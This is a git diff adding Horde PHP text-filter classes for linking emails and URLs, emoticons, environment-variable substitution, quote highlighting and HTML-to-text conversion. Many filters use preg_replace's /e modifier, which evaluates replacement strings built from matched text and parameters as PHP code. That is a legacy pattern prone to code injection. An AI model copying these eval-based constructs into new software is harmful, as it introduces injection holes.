+                        . '">' . htmlspecialchars('$10$11') . '</a>'
+EOP;
+                $replacement = 'chr(1).chr(1).chr(1).base64_encode('
+                    . $replacement . ').chr(1).chr(1).chr(1)';
+            } else {
+                $replacement = 'Horde_Text_Filter_Emails::callback(\'link\', \''
+                    . $this->_params['encode'] . '\', \'' . $class
+                    . '\', \'$1\', \'$2\', \'$3\', \'$4\', \'$5\', \'$7\', \'$8\', \'$9\', \'$10\', \'$11\', \'$13\', \'$14\')';
+            }
+        }
+
+        return array('regexp' => array($regexp => $replacement));
+    }
+
+    /**
+     * TODO
+     */
+    static public function callback($mode, $encode, $class, $bracket1,
+                                    $protocol, $email, $closing, $args_long,
+                                    $args, $bracket2, $prefix, $email2,
+                                    $args_long2, $args2, $closebracket)
+    {
+        if ($mode == 'link') {
+            if ($email2 === '') {
+                return $bracket1 . $protocol . '<a' . $class . ' href="mailto:' . $email . $args_long . '" title="' . sprintf(_("New Message to %s"), htmlspecialchars($email)) . '">' . $email . $args_long . '</a>' . $closing . $bracket2;
+            }
+
+            return (($prefix == '<') ? '&lt;' : $prefix) . '<a' . $class . ' href="mailto:' . $email2 . $args_long2 . '" title="' . sprintf(_("New Message to %s"), htmlspecialchars($email2)) . '">' . $email2 . $args_long2 . '</a>' . ($closebracket ? '&gt;' : '');
+        }
+
+        if (!empty($email2)) {
+            $args = $args2;
+            $email = $email2;
+            $args_long = $args_long2;
+        }
+
+        parse_str($args, $extra);
+        $url = $GLOBALS['registry']->call('mail/compose',
+                                          array(array('to' => $email),
+                                          $extra));
+        if (is_a($url, 'PEAR_Error')) {
+            $url = 'mailto:' . urlencode($email);
+        }
+
+        $url = str_replace('&amp;', '&', $url);
+        if (substr($url, 0, 11) == 'javascript:') {
+            $href = '#';
+            $onclick = ' onclick="' . substr($url, 11) . ';return false;"';
+        } else {
+            $href = $url;
+            $onclick = '';
+        }
+
+        if ($encode) {
+            return chr(1).chr(1).chr(1)
+                . base64_encode(
+                    htmlspecialchars($bracket1 . $protocol . $prefix)
+                    . '<a' . $class . ' href="' . htmlspecialchars($href)
+                    . '" title="' . sprintf(_("New Message to %s"),
+                                            htmlspecialchars($email))
+                    . '"' . $onclick . '>'
+                    . htmlspecialchars($email . $args_long) . '</a>'
+                    . htmlspecialchars($bracket2))
+                . chr(1).chr(1).chr(1) . $closing . ($closebracket ? '>' : '');
+        }
+
+        return $bracket1 . $protocol . $prefix . '<a' . $class
+            . ' href="' . $href . '" title="'
+            . sprintf(_("New Message to %s"), htmlspecialchars($email))
+            . '"' . $onclick . '>' . htmlspecialchars($email) . $args_long
+            . '</a>' . $bracket2 . $closing . ($closebracket ? '>' : '');
+    }
+
+    /**
+     * "Decodes" the text formerly encoded by using the "encode" parameter.
+     *
+     * @param string $text  An encoded text.
+     *
+     * @return string  The decoded text.
+     */
+    static public function decode($text)
+    {
+        return preg_replace('/\01\01\01([\w=+\/]*)\01\01\01/e', 'base64_decode(\'$1\')', $text);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Emoticons.php b/framework/Text_Filter/lib/Horde/Text/Filter/Emoticons.php
new file mode 100644 (file)
index 0000000..e33b3c8
--- /dev/null
@@ -0,0 +1,148 @@
+<?php
+/**
+ * The Horde_Text_Filter_Emoticons:: class finds emoticon strings ( :), etc.)
+ * in a block of text and turns them into image links.
+ *
+ * Parameters:
+ * <pre>
+ * entities -- If true the html entity versions of the patterns will be used.
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Marko Djukic <marko@oblo.com>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Emoticons extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array('entities' => false);
+
+    /**
+     * The icon path.
+     *
+     * @var string
+     */
+    static protected $_iconpath;
+
+    /* List complex strings before simpler ones, otherwise for example :((
+     * would be matched against :( before :(( is found. */
+    static protected $_icons = array(
+        ':/' => 'frustrated', ':-/' => 'frustrated',
+        // ':*>' => 'blush',
+        ':e' => 'disappointed',
+        '=:)$' => 'mrt',
+        '#|' => 'hangover', '#-|' => 'hangover',
+        ':-@' => 'shout', ':@' => 'shout',
+        ':((' => 'bigfrown', ':C' => 'bigfrown',
+        ':S' => 'dazed', ':-S' => 'dazed',
+        'X@' => 'angry',
+        'X(' => 'mad',
+        // '>:)' => 'devil', '>:-)' => 'devil',
+        // '>:p' => 'deviltongue', '>:-p' => 'deviltongue',
+        // '>:p' => 'raspberry', '>:P' => 'raspberry',
+        // '&)' => 'punk',
+        // '&p' => 'punktongue',
+        // '=&)' => 'punkmohawk',
+        ':]' => 'grin',
+        '#[' => 'hurt', '#(' => 'hurt', '#-[' => 'hurt', '#-(' => 'hurt',
+        ':O' => 'embarrassed', ':-O' => 'embarrassed',
+        ':[' => 'sad',
+        // '>:@' => 'enraged',
+        // ':&' => 'annoyed',
+        '=(' => 'worried', '=-(' => 'worried',
+        ':|=' => 'vampire',
+        ':-(' => 'frown', ':(' => 'frown',
+        ':D' => 'biggrin', ':-D' => 'biggrin', ':d' => 'biggrin', ':-d' => 'biggrin',
+        '8)' => 'cool',
+        // In English, 8PM occurs sufficiently often to specifically
+        // search for and exclude
+        '8p(?<![Mm]\s+)' => 'cooltongue', // '8Þ' => 'cooltongue',
+        '8D' => 'coolgrin',
+        ':p' => 'tongueout', ':P' => 'tongueout', // ':Þ' => 'tongueout',
+        '?:(' => 'confused', '%-(' => 'confused',
+        // ':)&' => 'love',
+        'O;-)' => 'angelwink',
+        ';]' => 'winkgrin',
+        ';p' => 'winktongue', ';P' => 'winktongue', // ';Þ' => 'winktongue',
+        ':|' => 'indifferent', ':-|' => 'indifferent',
+        '!|' => 'tired', '!-I' => 'tired',
+        '|I' => 'asleep', '|-I' => 'asleep',
+        'O:)' => 'angel', 'O:-)' => 'angel',
+        'O;)' => 'angelwink',
+        ';-)' => 'wink', ';)' => 'wink',
+        ':#)' => 'clown', ':o)' => 'clown',
+        ':)' => 'smile', ':-)' => 'smile',
+    );
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        /* Build the patterns. */
+        $patterns = array_keys($this->getIcons());
+        if ($this->_params['entities']) {
+            $patterns = array_map('htmlspecialchars', $patterns);
+            $beg_pattern = '(^|\s|<br />|&nbsp;)(';
+            $end_pattern = ')(?=\s|<br />|&nbsp;)';
+        } else {
+            $beg_pattern = '(^|\s)(';
+            $end_pattern = ')(?=\s)';
+        }
+        $patterns = array_map('preg_quote', $patterns);
+
+        /* Check for a smiley either immediately at the start of a line or
+         * following a space. Use {} as the preg delimiters as this is not
+         * found in any smiley. */
+        $regexp['{' . $beg_pattern . implode('|', $patterns) . $end_pattern . '}e'] = 'Horde_Text_Filter_Emoticons::getImage(\'$2\', \'$1\', \'' . ($this->_params['entities'] ? '$3' : '') . '\')';
+
+        return array('regexp' => $regexp);
+    }
+
+    /**
+     * Returns the img tag for an emoticon.
+     *
+     * @see self::getPatterns()
+     *
+     * @param string $icon     The emoticon.
+     * @param string $prefix   A html prefix.
+     * @param string $postfix  A html postfix.
+     *
+     * @return string  HTML code with the image tag and any additional prefix
+     *                 or postfix.
+     */
+    static public function getImage($icon, $prefix, $postfix)
+    {
+        if (!isset(self::$_iconpath)) {
+            self::$_iconpath = $GLOBALS['registry']->getImageDir('horde') . '/emoticons';
+        }
+
+        return $prefix . Horde::img(self::getIcons($icon) . '.png', $icon, array('align' => 'middle', 'title' => $icon), self::$_iconpath) . $postfix;
+    }
+
+    /**
+     * Returns a hash with all emoticons and names or the name of a single
+     * emoticon.
+     *
+     * @param string $icon  If set, return the name for that emoticon only.
+     *
+     * @return array|string  Patterns hash or icon name.
+     */
+    static public function getIcons($icon = null)
+    {
+        return is_null($icon)
+            ? self::$_icons
+            : (isset(self::$_icons[$icon]) ? self::$_icons[$icon] : null);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Environment.php b/framework/Text_Filter/lib/Horde/Text/Filter/Environment.php
new file mode 100644 (file)
index 0000000..da5f257
--- /dev/null
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Replaces occurences of %VAR% with VAR, if VAR exists in the webserver's
+ * environment.  Ignores all text after a '#' character (shell-style
+ * comments).
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Environment extends Horde_Text_Filter
+{
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $regexp = array('/^#.*$\n/m' => '',
+                        '/^([^#]*)#.*$/m' => '$1',
+                        '/%([A-Za-z_]+)%/e' => 'getenv("$1")');
+        return array('regexp' => $regexp);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Highlightquotes.php b/framework/Text_Filter/lib/Horde/Text/Filter/Highlightquotes.php
new file mode 100644 (file)
index 0000000..a945c74
--- /dev/null
@@ -0,0 +1,234 @@
+<?php
+/**
+ * Highlights quoted messages with different colors for the different quoting
+ * levels.
+ *
+ * CSS class names called "quoted1" ... "quoted{$cssLevels}" must be present.
+ * CSS class names "toggleQuoteHide" and "toggleQuoteShow" are used to style
+ * toggle text.
+ *
+ * The text to be passed in must have already been passed through
+ * htmlspecialchars().
+ *
+ * Parameters:
+ * <pre>
+ * 'citeblock'  -- Display cite blocks? (DEFAULT: true)
+ * 'cssLevels'  -- Number of defined CSS class names. (DEFAULT: 5)
+ * 'hideBlocks' -- Hide quoted text blocks by default? (DEFAULT: false)
+ * 'outputJS'   -- Add necessary JS files? (DEFAULT: true)
+ * </pre>
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Michael Slusarz <slusarz@curecanti.org>
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Highlightquotes extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'citeblock' => true,
+        'cssLevels' => 5,
+        'hideBlocks' => false,
+        'outputJS' => true
+    );
+
+    /**
+     * Executes any code necessaray before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        /* Tack a newline onto the beginning of the string so that we
+         * correctly highlight when the first character in the string is a
+         * quote character. */
+        return "\n$text";
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        /* Remove extra spaces before quoted text as the CSS formatting will
+         * automatically add a bit of space for us. */
+        return ($this->_params['citeblock'])
+            ? array('regexp' => array("/<br \/>\s*\n\s*<br \/>\s*\n\s*((&gt;\s?)+)/m" => "<br />\n\\1"))
+            : array();
+    }
+
+    /**
+     * Executes any code necessaray after applying the filter patterns.
+     *
+     * @param string $text  The text after the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function postProcess($text)
+    {
+        /* Use cite blocks to display the different quoting levels? */
+        $cb = $this->_params['citeblock'];
+
+        /* Cite level before parsing the current line. */
+        $qlevel = 0;
+
+        /* Other loop variables. */
+        $text_out = '';
+        $lines = array();
+        $tmp = array('level' => 0, 'lines' => array());
+        $qcount = 0;
+
+        /* Parse text line by line. */
+        foreach (explode("\n", $text) as $line) {
+            /* Cite level of current line. */
+            $clevel = 0;
+            $matches = array();
+
+            /* Do we have a citation line? */
+            if (preg_match('/^\s*((&gt;\s?)+)/m', $line, $matches)) {
+                /* Count number of > characters => cite level */
+                $clevel = count(preg_split('/&gt;\s?/', $matches[1])) - 1;
+            }
+
+            if ($cb && isset($matches[1])) {
+                /* Strip all > characters. */
+                $line = substr($line, Horde_String::length($matches[1]));
+            }
+
+            /* Is this cite level lower than the current level? */
+            if ($clevel < $qlevel) {
+                $lines[] = $tmp;
+                if ($clevel == 0) {
+                    $text_out .= $this->_process($lines, $qcount);
+                    $lines = array();
+                    $qcount = 0;
+                }
+                $tmp = array('level' => $clevel, 'lines' => array());
+
+            /* Is this cite level higher than the current level? */
+            } elseif ($clevel > $qlevel) {
+                $lines[] = $tmp;
+                $tmp = array('level' => $clevel, 'lines' => array());
+            }
+
+            $tmp['lines'][] = $line;
+            $qlevel = $clevel;
+
+            if ($qlevel) {
+                ++$qcount;
+            }
+        }
+
+        $lines[] = $tmp;
+        $text_out .= $this->_process($lines, $qcount);
+
+        /* Remove the leading newline we added above, if it's still there. */
+        return ($text_out[0] == "\n")
+            ? substr($text_out, 1)
+            : $text_out;
+    }
+
+    /**
+     * TODO
+     *
+     * @param array $lines     TODO
+     * @param integer $qcount  TODO
+     *
+     * @return string  TODO
+     */
+    protected function _process($lines, $qcount)
+    {
+        $curr = reset($lines);
+        $out = implode("\n", $this->_removeBr($curr['lines']));
+
+        if ($qcount > 8) {
+            if ($this->_params['outputJS']) {
+                Horde::addScriptFile('prototype.js', 'horde', true);
+            }
+
+            $out .= (($this->_params['citeblock']) ? '<br />' : '') .
+                '<div class="toggleQuoteParent">' .
+                '<span ' . ($this->_params['outputJS'] ? 'onclick="[ this, this.next(), this.next(1) ].invoke(\'toggle\')" ' : '') .
+                'class="widget toggleQuoteShow"' . ($this->_params['hideBlocks'] ? '' : ' style="display:none"') . '>' . htmlspecialchars(sprintf(_("[Show Quoted Text - %d lines]"), $qcount)) . '</span>' .
+                '<span ' . ($this->_params['outputJS'] ? 'onclick="[ this, this.previous(), this.next() ].invoke(\'toggle\')" ' : "") .
+                'class="widget toggleQuoteHide"' . ($this->_params['hideBlocks'] ? ' style="display:none"' : '') . '>' . htmlspecialchars(_("[Hide Quoted Text]")) . '</span>';
+        }
+
+        $level = 0;
+
+        next($lines);
+        while (list(,$curr) = each($lines)) {
+            if ($level > $curr['level']) {
+                for ($i = $level; $i > $curr['level']; --$i) {
+                    $out .= $this->_params['citeblock'] ? '</div>' : '</font>';
+                }
+            } else {
+                for ($i = $level; $i < $curr['level']; ++$i) {
+                    /* Add quote block start tags for each cite level. */
+                    $out .= ($this->_params['citeblock'] ? '<div class="citation ' : '<font class="') .
+                        'quoted' . (($i % $this->_params['cssLevels']) + 1) . '"' .
+                        ((($level == 0) && ($qcount > 8) && $this->_params['hideBlocks']) ? ' style="display:none"' : '') .
+                        '>';
+                }
+            }
+
+            $out .= implode("\n", $this->_removeBr($curr['lines']));
+            $level = $curr['level'];
+        }
+
+        for ($i = $level; $i > 0; --$i) {
+            $out .= $this->_params['citeblock'] ? '</div>' : '</font>';
+        }
+
+        return ($qcount > 8)
+            ? $out . '</div>'
+            : $out;
+    }
+
+    /**
+     * Remove leading and trailing BR tags.
+     *
+     * @param array $lines  An array of text.
+     *
+     * @return array  The array with bare BR tags removed at the beginning and
+     *                end.
+     */
+    protected function _removeBr($lines)
+    {
+        /* Remove leading/trailing line breaks. Spacing between quote blocks
+         * will be handled by div CSS. */
+        if (!$this->_params['citeblock']) {
+            return $lines;
+        }
+
+        foreach (array_keys($lines) as $i) {
+            if (!preg_match("/^\s*<br\s*\/>\s*$/i", $lines[$i])) {
+                break;
+            }
+            unset($lines[$i]);
+        }
+
+        foreach (array_reverse(array_keys($lines)) as $i) {
+            if (!preg_match("/^\s*<br\s*\/>\s*$/i", $lines[$i])) {
+                break;
+            }
+            unset($lines[$i]);
+        }
+
+        return $lines;
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Html2text.php b/framework/Text_Filter/lib/Horde/Text/Filter/Html2text.php
new file mode 100644 (file)
index 0000000..7d6d484
--- /dev/null
@@ -0,0 +1,311 @@
+<?php
+/**
+ * Takes HTML and converts it to formatted, plain text.
+ *
+ * Parameters:
+ * <pre>
+ * charset -- The charset to use for html_entity_decode() calls.
+ * width   -- The wrapping width.
+ * wrap    -- Whether to wrap the text or not.
+ * </pre>
+ *
+ * Copyright 2003-2004 Jon Abernathy <jon@chuggnutt.com>
+ * Original source: http://www.chuggnutt.com/html2text.php
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jon Abernathy <jon@chuggnutt.com>
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Html2text extends Horde_Text_Filter
+{
+    /* TODO */
+    static public $linkList;
+    static public $linkCount;
+
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'charset' => null,
+        'width' => 70,
+        'wrap' => true
+    );
+
+    /**
+     * Executes any code necessaray before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        if (is_null($this->_params['charset'])) {
+            $this->_params['charset'] = isset($GLOBALS['_HORDE_STRING_CHARSET']) ? $GLOBALS['_HORDE_STRING_CHARSET'] : 'ISO-8859-1';
+        }
+
+        self::$linkList = '';
+        self::$linkCount = 0;
+
+        return trim($text);
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $regexp = array(
+            // Non-legal carriage return.
+            '/\r/' => '',
+
+            // Leading and trailing whitespace.
+            '/^\s*(.*?)\s*$/m' => '\1',
+
+            // Normalize <br>.
+            '/<br[^>]*>([^\n]*)\n/i' => "<br>\\1",
+
+            // Newlines and tabs.
+            '/[\n\t]+/' => ' ',
+
+            // <script>s -- which strip_tags() supposedly has problems with.
+            '/<script[^>]*>.*?<\/script>/i' => '',
+
+            // <style>s -- which strip_tags() supposedly has problems with.
+            '/<style[^>]*>.*?<\/style>/i' => '',
+
+            // Comments -- which strip_tags() might have a problem with.
+            // //'/<!-- .* -->/' => '',
+
+            // h1 - h3
+            '/<h[123][^>]*>(.+?)<\/h[123]> ?/ie' => 'strtoupper("\n\n" . \'\1\' . "\n\n")',
+
+            // h4 - h6
+            '/<h[456][^>]*>(.+?)<\/h[456]> ?/ie' => 'ucwords("\n\n" . \'\1\' . "\n\n")',
+
+            // <p>
+            '/<p[^>]*> ?/i' => "\n\n",
+
+            // <br>/<div>
+            '/<(br|div)[^>]*> ?/i' => "\n",
+
+            // <b>
+            '/<b[^>]*>(.+?)<\/b>/ie' => 'strtoupper(\'\1\')',
+
+            // <strong>
+            '/<strong[^>]*>(.+?)<\/strong>/ie' => 'strtoupper(\'\1\')',
+            '/<span\\s+style="font-weight:\\s*bold.*">(.+?)<\/span>/ie' => 'strtoupper(\'\1\')',
+
+            // <i>
+            '/<i[^>]*>(.+?)<\/i>/i' => '/\\1/',
+
+            // <em>
+            '/<em[^>]*>(.+?)<\/em>/i' => '/\\1/',
+
+            // <u>
+            '/<u[^>]*>(.+?)<\/u>/i' => '_\\1_',
+
+            // <ul>/<ol> and </ul>/</ol>
+            '/(<(u|o)l[^>]*>| ?<\/(u|o)l>) ?/i' => "\n\n",
+
+            // <li>
+            '/ ?<li[^>]*>/i' => "\n  * ",
+
+            // <a href="">
+            '/<a href="([^"]+)"[^>]*>(.+?)<\/a>/ie' => 'Horde_Text_Filter_Html2text::buildLinkList(Horde_Text_Filter_Html2text::$linkCount, \'\1\', \'\2\')',
+
+            // <hr>
+            '/<hr[^>]*> ?/i' => "\n-------------------------\n",
+
+            // <table> and </table>
+            '/(<table[^>]*>| ?<\/table>) ?/i' => "\n\n",
+
+            // <tr>
+            '/ ?<tr[^>]*> ?/i' => "\n\t",
+
+            // <td> and </td>
+            '/ ?<td[^>]*>(.+?)<\/td> ?/i' => '\1' . "\t\t",
+            '/\t\t<\/tr>/i' => '',
+
+            // entities
+            '/&nbsp;/i' => ' ',
+            '/&trade;/i' => '(tm)',
+            '/&#(\d+);/e' => 'Horde_String::convertCharset(Horde_Text_Filter_Html2text::int2Utf8(\'\1\'), "UTF-8", "' . $this->_params['charset'] . '")',
+
+            // Some mailers (e.g. Hotmail) use the following div tag as a way
+            // to define a block of text.
+            '/<div class=rte>(.+?)<\/div> ?/i' => '\1' . "\n"
+        );
+
+        return array('regexp' => $regexp);
+    }
+
+    /**
+     * Executes any code necessaray after applying the filter patterns.
+     *
+     * @param string $text  The text after the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function postProcess($text)
+    {
+        /* Convert blockquote tags. */
+        $text = preg_replace(array('/<blockquote [^>]*(type="?cite"?|class="?gmail_quote"?)[^>]*>\n?/',
+                                   '/\n?<\/blockquote>\n?/is'),
+                             array(chr(0), chr(1)),
+                             $text);
+        if (strpos($text, chr(0)) !== false) {
+            $text = $this->_blockQuote($text);
+        }
+
+        /* Strip any other HTML tags. */
+        $text = strip_tags($text);
+
+        /* Convert HTML entities. */
+        $trans = array_flip(get_html_translation_table(HTML_ENTITIES));
+        $trans = Horde_String::convertCharset($trans, 'ISO-8859-1', $this->_params['charset']);
+        $text = strtr($text, $trans);
+
+        /* Bring down number of empty lines to 2 max. */
+        $text = preg_replace("/\n[[:space:]]+\n/", "\n\n", $text);
+        $text = preg_replace("/[\n]{3,}/", "\n\n", $text);
+
+        /* Wrap the text to a readable format. */
+        if ($this->_params['wrap']) {
+            $text = wordwrap($text, $this->_params['width']);
+        }
+
+        /* Add link list. */
+        if (!empty(self::$linkList)) {
+            $text .= "\n\n" . _("Links") . ":\n" .
+                str_repeat('-', Horde_String::length(_("Links")) + 1) . "\n" .
+                self::$linkList;
+        }
+
+        return $text;
+    }
+
+    /**
+     * Replaces blockquote tags with > quotes.
+     *
+     * @param string $text  The text to quote.
+     *
+     * @return string  The quoted text.
+     */
+    protected function _blockQuote($text)
+    {
+        return preg_replace(
+            '/([^\x00\x01]*)\x00(((?>[^\x00\x01]*)|(?R))*)\x01([^\x00\x01]*)/se',
+            "stripslashes('$1') . \"\n\n\" . \$this->_quote('$2') . \"\n\n\" . stripslashes('$4')",
+            $text);
+    }
+
+    /**
+     * Quotes a chunk of text.
+     *
+     * @param string $text  The text to quote.
+     *
+     * @return string  The quoted text.
+     */
+    protected function _quote($text)
+    {
+        $text = stripslashes($text);
+        if (strpos($text, chr(0)) !== false) {
+            $text = stripslashes($this->_blockQuote($text));
+        }
+
+        $text = trim(strip_tags($text));
+        if ($this->_params['wrap']) {
+            $text = wordwrap($text, $this->_params['width'] - 2);
+        }
+
+        return preg_replace(array('/^/m', '/(\n>\s*$){3,}/m', '/^>\s+$/m'),
+                            array('> ', "\n> ", '>'),
+                            $text);
+    }
+
+    /**
+     * Returns the UTF-8 character sequence of a Unicode value.
+     *
+     * @param integer $num  A Unicode value.
+     *
+     * @return string  The UTF-8 string.
+     */
+    static public function int2Utf8($num)
+    {
+        if ($num < 128) {
+            return chr($num);
+        }
+        if ($num < 2048) {
+            return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
+        }
+        if ($num < 65536) {
+            return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) .
+                chr(($num & 63) + 128);
+        }
+        if ($num < 2097152) {
+            return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) .
+                chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
+        }
+        return '';
+    }
+
+    /**
+     * Helper function called by preg_replace() on link replacement.
+     *
+     * Maintains an internal list of links to be displayed at the end
+     * of the text, with numeric indices to the original point in the
+     * text they appeared.
+     *
+     * @param integer $link_count  Counter tracking current link number.
+     * @param string $link         URL of the link.
+     * @param string $display      Part of the text to associate number with.
+     *
+     * @return string  The link replacement.
+     */
+    static public function buildLinkList($link_count, $link, $display)
+    {
+        if ($link == strip_tags($display)) {
+            return $display;
+        }
+        $parsed_link = parse_url($link);
+        $parsed_display = parse_url(strip_tags(preg_replace('/^&lt;|&gt;$/', '', $display)));
+        if (isset($parsed_link['path'])) {
+            $parsed_link['path'] = trim($parsed_link['path'], '/');
+            if (!strlen($parsed_link['path'])) {
+                unset($parsed_link['path']);
+            }
+        }
+        if (isset($parsed_display['path'])) {
+            $parsed_display['path'] = trim($parsed_display['path'], '/');
+            if (!strlen($parsed_display['path'])) {
+                unset($parsed_display['path']);
+            }
+        }
+        if (((!isset($parsed_link['host']) &&
+              !isset($parsed_display['host'])) ||
+             (isset($parsed_link['host']) &&
+              isset($parsed_display['host']) &&
+              $parsed_link['host'] == $parsed_display['host'])) &&
+            ((!isset($parsed_link['path']) &&
+              !isset($parsed_display['path'])) ||
+             (isset($parsed_link['path']) &&
+              isset($parsed_display['path']) &&
+              $parsed_link['path'] == $parsed_display['path']))) {
+            return $display;
+        }
+
+        self::$linkCount++;
+        self::$linkList .= '[' . self::$linkCount . "] $link\n";
+        return $display . '[' . self::$linkCount . ']';
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Linkurls.php b/framework/Text_Filter/lib/Horde/Text/Filter/Linkurls.php
new file mode 100644 (file)
index 0000000..24d08c8
--- /dev/null
@@ -0,0 +1,86 @@
+<?php
+/**
+ * The Horde_Text_Filter_Linkurls:: class turns all URLs in the text into
+ * hyperlinks.
+ *
+ * Parameters:
+ * <pre>
+ * target   -- The link target.  Defaults to _blank.
+ * class    -- The CSS class of the generated links.  Defaults to none.
+ * nofollow -- Whether to set the 'rel="nofollow"' attribute on links.
+ * callback -- An optional callback function that the URL is passed through
+ *             before being set as the href attribute.  Must be a string with
+ *             the function name, the function must take the original as the
+ *             first and only parameter.
+ * encode   -- Whether to escape special HTML characters in the URLs and
+ *             finally "encode" the complete tag so that it can be decoded
+ *             later with the decode() method. This is useful if you want to
+ *             run htmlspecialchars() or similar *after* using this filter.
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Tyler Colbert <tyler@colberts.us>
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Linkurls extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'callback' => null,
+        'class' => '',
+        'encode' => false,
+        'nofollow' => false,
+        'target' => '_blank'
+    );
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $class = $this->_params['class'];
+        if (!empty($class)) {
+            $class = ' class="' . $class . '"';
+        }
+        $nofollow = $this->_params['nofollow'] ? ' rel="nofollow"' : '';
+
+        $replacement = $this->_params['callback']
+            ? '\' . ' . $this->_params['callback'] . '(\'$0\') . \''
+            : '$0';
+        if ($this->_params['encode']) {
+            $replacement = 'chr(0).chr(0).chr(0).base64_encode(\'<a href="\'.htmlspecialchars(\'' . $replacement . '\').\'"' . $nofollow . ' target="_blank"' . $class . '>\'.htmlspecialchars(\'$0\').\'</a>\').chr(0).chr(0).chr(0)';
+        } else {
+            $replacement = '\'<a href="' . $replacement . '"' . $nofollow
+                . ' target="_blank"' . $class . '>$0</a>\'';
+        }
+
+        $regexp = array('|([\w+-]{1,20})://([^\s"<]*[\w+#?/&=])|e' =>
+                        $replacement);
+
+        return array('regexp' => $regexp);
+    }
+
+    /**
+     * "Decodes" the text formerly encoded by using the "encode" parameter.
+     *
+     * @param string $text  An encoded text.
+     *
+     * @return string  The decoded text.
+     */
+    static public function decode($text)
+    {
+        return preg_replace('/\00\00\00([\w=+\/]*)\00\00\00/e', 'base64_decode(\'$1\')', $text);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Simplemarkup.php b/framework/Text_Filter/lib/Horde/Text/Filter/Simplemarkup.php
new file mode 100644 (file)
index 0000000..f0fe575
--- /dev/null
@@ -0,0 +1,34 @@
+<?php
+/**
+ * Highlights simple markup as used in emails or usenet postings.
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Simplemarkup extends Horde_Text_Filter
+{
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        return array('regexp' => array(
+            // Bold.
+            '/(^|\s|&nbsp;|<br \/>)(\*[^*\s]+\*)(\s|&nbsp;|<br|\.)/i' => '\1<strong>\2</strong>\3',
+
+            // Underline.
+            '/(^|\s|&nbsp;|<br \/>)(_[^_\s]+_)(\s|&nbsp;|<br|\.)/i' => '\1<u>\2</u>\3',
+
+            // Italic.
+            ';(^|\s|&nbsp\;|<br />)(/[^/\s]+/)(\s|&nbsp\;|<br|\.);i' => '\1<em>\2</em>\3')
+        );
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Space2html.php b/framework/Text_Filter/lib/Horde/Text/Filter/Space2html.php
new file mode 100644 (file)
index 0000000..089758f
--- /dev/null
@@ -0,0 +1,80 @@
+<?php
+/**
+ * The space2html filter converts horizontal whitespace to HTML code.
+ *
+ * Parameters:
+ * <pre>
+ * encode     -- HTML encode the text?  Defaults to false.
